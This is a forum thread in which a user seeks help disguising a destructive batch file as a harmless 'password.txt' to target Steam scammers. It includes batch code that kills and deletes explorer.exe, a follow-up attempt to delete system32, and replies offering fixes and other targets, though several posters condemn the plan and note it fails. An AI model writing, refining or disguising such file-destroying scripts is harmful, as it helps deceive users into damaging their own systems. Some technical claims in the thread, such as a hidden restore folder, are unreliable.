I've been cooking up a batch file for steam scammers which kills explorer.exe and then deletes it and I want it to look like it's a harmless .txt file named password. I already have the icon down but for some people who have file extensions on it'll be plainly obvious it's a virus. How do I disguise it?
Rename it to password.txt.
[QUOTE=Wootman;16991950]Rename it to password.txt.[/QUOTE]
Yeah but then it would not work since windows would try to run it as a txt file. People with file extensions on would view it as password.txt.exe
Don't make viruses you ass. Besides, the worst anti-virus programs can stop weak attempts like that...
More like Windows won't even allow you to do it.
I hate fail virus makers who are 1337 :(
<insert shitty fail face>
Why Would you blatantly try to Fuck over 11 year olds?:Dawkins102:
Your Just as bad as them.
GTFO.
You can hope they have 'Show File Extensions to Known File Types' off.
Considering "show file extensions of known file types" is off by default, I don't think that's going to be a problem.
Hell, if it even works, anyone with half a brain can insert the windows repair disk and reinstall explorer.exe.

Yeah but I don't really care if any of the scammers do that. All this does is just annoy them for the time being. Unless they are 11 year olds.:rolleyes:
Yeah except your thing won't even work.

How so?
[QUOTE=Chunk3ym4n;16992473]How so?[/QUOTE]
Try double clicking it. I think you'll find out fairly quickly that it isn't going to work.

Your right, it doesn't. Meh i'll just give up. I didn't find anything wrong about this code though.
[code]@ECHO OFF
tskill explorer
del C:\Windows\explorer.exe
end[/code]
Way to be a dick
1. You'll have to kill explorer.exe before you can delete the file.
2. There is a way to add the exe to the .txt file and make this work, though I'd rather not say how because I might get sued :S

How?
Use
%WINDIR%
instead of C:\Windows
If you delete explorer.exe, Windows replaces it.
[i]Aswell[/i] as taskman.exe
Takes somebody speciul to disable taskman, I've never seen explorer done >_>
Mess with startup instead.

taskmgr.exe
funfact: you can get around windows replacing the file, but it's going to either pop UAC up or just not let you do it. But when you delete explorer.exe and a couple other files, it's just copying them from a hidden folder to system32. Don't ask me where that folder is though, but it's there.

No there isn't.

Is it possible for the .bat file to just delete system32?
[code]@ECHO OFF
del C:\Windows\system32
end[/code]
no, not even administrators can do that. You have to set your local authority level to System or something, I don't remember the name. But it's like net localgroup something something
